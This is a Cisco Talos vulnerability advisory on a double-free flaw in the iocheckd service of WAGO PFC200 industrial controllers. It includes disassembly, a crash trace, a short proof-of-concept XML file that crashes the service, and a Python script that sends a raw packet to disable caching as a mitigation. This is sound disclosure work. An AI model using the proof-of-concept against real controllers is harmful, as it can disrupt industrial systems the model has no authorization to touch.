Talos Vulnerability Report

TALOS-2019-0965

WAGO PFC200 iocheckd service "I/O-Check" cache gateway Memory Corruption Vulnerability

March 9, 2020
CVE Number

CVE-2019-5184

Summary

An exploitable double free vulnerability exists in the iocheckd service "I/O-Check" functionality of WAGO PFC 200. A specially crafted XML cache file written to a specific location on the device can cause a heap pointer to be freed twice, resulting in a denial of service and potentially code execution. An attacker can send a specially crafted packet to trigger the parsing of this cache file.

Tested Versions

WAGO PFC200 Firmware version 03.02.02(14)

Product URLs

https://www.wago.com/us/pfc200

CVSSv3 Score

7.0 - CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-415: Double Free

Details

The WAGO PFC200 Controller is one of WAGO's programmable automation controllers that boasts high cybersecurity standards by including VPN, SSL and firewall software. WAGO controllers are used in many industries including automotive, rail, power engineering, manufacturing, and building management. The WAGO PFC200 Controller communicates via both standard and custom protocols.

The iocheckd service "I/O-Check" implements a custom configuration protocol used by WAGO controllers. The iocheckd service "I/O-Check" functionality of WAGO PFC 200 uses a file-backed cache to perform some network configuration functionality. The file used for the cache is stored at /tmp/iocheckCache.xml which is globally writeable. During parsing of the iocheckCache.xml file the heap buffer used to store the values for gateway is freed n times (as many gateway elements present in iocheckCache.xml). This causes the iocheckd program to crash, without setting a status variable within the shared memory used by the process. Depending on the memory allocator used, this vulnerability could potentially result in code execution. Exploiting this vulnerability in its basic form results in a denial of service for the following iocheckd messages. These messages will respond with an error rather than carrying out the intended functionality after exploitation:

  • BC_FactoryRestore
    • Used to restore factory default settings
  • BC_SetSwitchMode
    • Used to set the network interface mode (switched or separated)
  • BC_SaveParameter
    • This results in denying the ability to set many network parameters including:
      • ip address
      • subnet mask
      • gateway address
      • dns server
      • ntp server
      • hostname
      • domain name

To restore normal functionality of iocheckd, the user must reboot the device or log in as the root user and delete /dev/shm/wago_IO_Check.

In order to exercise this vulnerability, the attacker must place the malicious xml file at /tmp/iocheckCache.xml. All users have write access for /tmp and can write this file. The vulnerability can be triggered by sending the BC_SaveParameter message which will cause the iocheckCache.xml file to be parsed.

The vulnerable code exists for the gateway node extracted from the iocheckCache.xml file. The following example shows the vulnerable code path:

.text:0001E478                 MOV             R0, cur_node
.text:0001E47C                 BL              xmlNodeGetContent
.text:0001E480                 MOV             R1, R4
.text:0001E484                 MOV             R7, R0 ; R7 contains xml node contents 
...
.text:0001EB34                 LDR             R0, [cur_node,#8]
.text:0001EB38                 MOVT            R1, #2 ; comparing to string `gateway`
.text:0001EB3C                 BL              xmlStrcmp
.text:0001EB40                 CMP             R0, #0
.text:0001EB44                 BNE             loc_1E460
.text:0001EB48                 LDR             R3, [SP,#0xC] ; count of gateway nodes
.text:0001EB4C                 LDR             R0, [SP,#8] ; array of pointers to gateway entries on the heap
.text:0001EB50                 ADD             R3, R3, #1 ; increment
.text:0001EB54                 STR             R3, [SP,#0xC]
.text:0001EB58                 MOV             R3, R3,LSL#2
.text:0001EB5C                 STR             R3, [SP,#0x14]
.text:0001EB60                 MOV             R1, R3  ; size = sp+0xc * 4
.text:0001EB64                 BL              realloc ; create space for another gateway entry
.text:0001EB68                 LDR             R3, [SP,#0x14]
.text:0001EB6C                 ADD             R3, R0, R3
.text:0001EB70                 STR             R0, [SP,#8] ; update local void* variable to reallocated chunk
...
.text:0001E8B4                 LDR             R3, [SP,#8] ; if the gateway entry array is not NULL
.text:0001E8B8                 CMP             R3, #0
.text:0001E8BC                 BEQ             loc_1E5F8
.text:0001E8C0                 LDR             R2, [SP,#0xC] ; if the count is greater than 0
.text:0001E8C4                 CMP             R2, #0
.text:0001E8C8                 BEQ             loc_1E5F8
... ; enter gateway value processing loop.
.text:0001E904                 MOV             R0, R6  ; cmd
.text:0001E908                 BL              _callConfigTool
.text:0001E90C                 LDR             R0, [SP,#8] ; free gateway entry array
.text:0001E910                 BL              free
.text:0001E914                 LDR             R3, [SP,#0xC] 
.text:0001E918                 CMP             i, R3 ; if i == gateway entry count
.text:0001E91C                 BEQ             loc_1E5F8 ; exit, otherwise continue looping. Will free the same pointer on next loop iteration

Crash Information

Output from strace:

[pid 28519] open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = -1 ENXIO (No such device or address)
[pid 28519] writev(2, [{iov_base="*** Error in `", iov_len=14}, {iov_base="iocheckd", iov_len=8}, {iov_base="': ", iov_len=3}, {iov_base="double free or corruption (fastt"..., iov_len=35}, {iov_base=": 0x", iov_len=4}, {iov_base="b5c0b7c8", iov_len=8}, {iov_base=" ***\n", iov_len=5}], 7) = 77
[pid 28519] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb6f9a000
[pid 28519] futex(0xb6b945a4, FUTEX_WAKE_PRIVATE, 2147483647) = 0
[pid 28519] rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
[pid 28519] write(1, "config-tool failed: \"/etc/config"..., 324) = 324
[pid 28519] tgkill(28505, 28519, SIGABRT) = 0
[pid 28519] --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=28505, si_uid=0} ---
[pid 28519] fstat64(2, {st_mode=S_IFREG|0644, st_size=414, ...}) = 0
[pid 28519] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb6f99000
[pid 28519] shutdown(5, SHUT_RD)        = 0
[pid 28519] shutdown(6, SHUT_WR)        = 0
[pid 28519] close(5)                    = 0
[pid 28519] close(6)                    = 0
[pid 28519] rt_sigaction(SIGABRT, {sa_handler=SIG_DFL, sa_mask=[ABRT], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0xb6a86990}, {sa_handler=0x12cd4, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART|SA_SIGINFO, sa_restorer=0xb6a869a0}, 8) = 0
[pid 28519] kill(28505, SIGABRT)        = 0
[pid 28519] rt_sigreturn({mask=[]})     = 0
[pid 28519] --- SIGABRT {si_signo=SIGABRT, si_code=SI_USER, si_pid=28505, si_uid=0} ---
[pid 28505] <... nanosleep resumed> <unfinished ...>) = ?
[pid 28519] +++ killed by SIGABRT +++
+++ killed by SIGABRT +++

Exploit Proof of Concept

<?xml version="1.0" encoding="UTF-8"?>
<settings>
<network>
    <gateway>192.168.1.1</gateway>
    <gateway>192.168.1.2</gateway>
</network>
</settings>

Mitigation

  • This vulnerability could be mitigated by disabling the iocheckd service "I/O-Check" via the Web-based management web application.
  • This vulnerability could be mitigated by disabling iocheckd caching

      #Author : Kelly Leuschner, Cisco Talos
      import argparse, socket
    
      if __name__=="__main__":
    
          parser = argparse.ArgumentParser(description="Disable iocheckd Caching on WAGO PFC200 via iocheckd:RC_WriteRegister")
          parser.add_argument('ipAddr', help='ip address of PLC')
          parser.add_argument('port', type = int, help='Service protocol port number (6626)')
          args = parser.parse_args()
    
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.connect((args.ipAddr, args.port))
    
          print("Sending RC_WriteRegister message to disable iocheckd caching")
          s.send(b'\x88\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x02\x04\x00\x00\x00\x00\n\x00\x0b\x00\x00\x00')
          s.recv(1024)
          s.close()
    

Timeline

2019-12-05 - Vendor Disclosure
2020-01-28 - Talos discussion about vulnerabilities with Vendor; disclosure deadline extended
2020-03-09 - Public Release

Credit

Discovered by Kelly Leuschner of Cisco Talos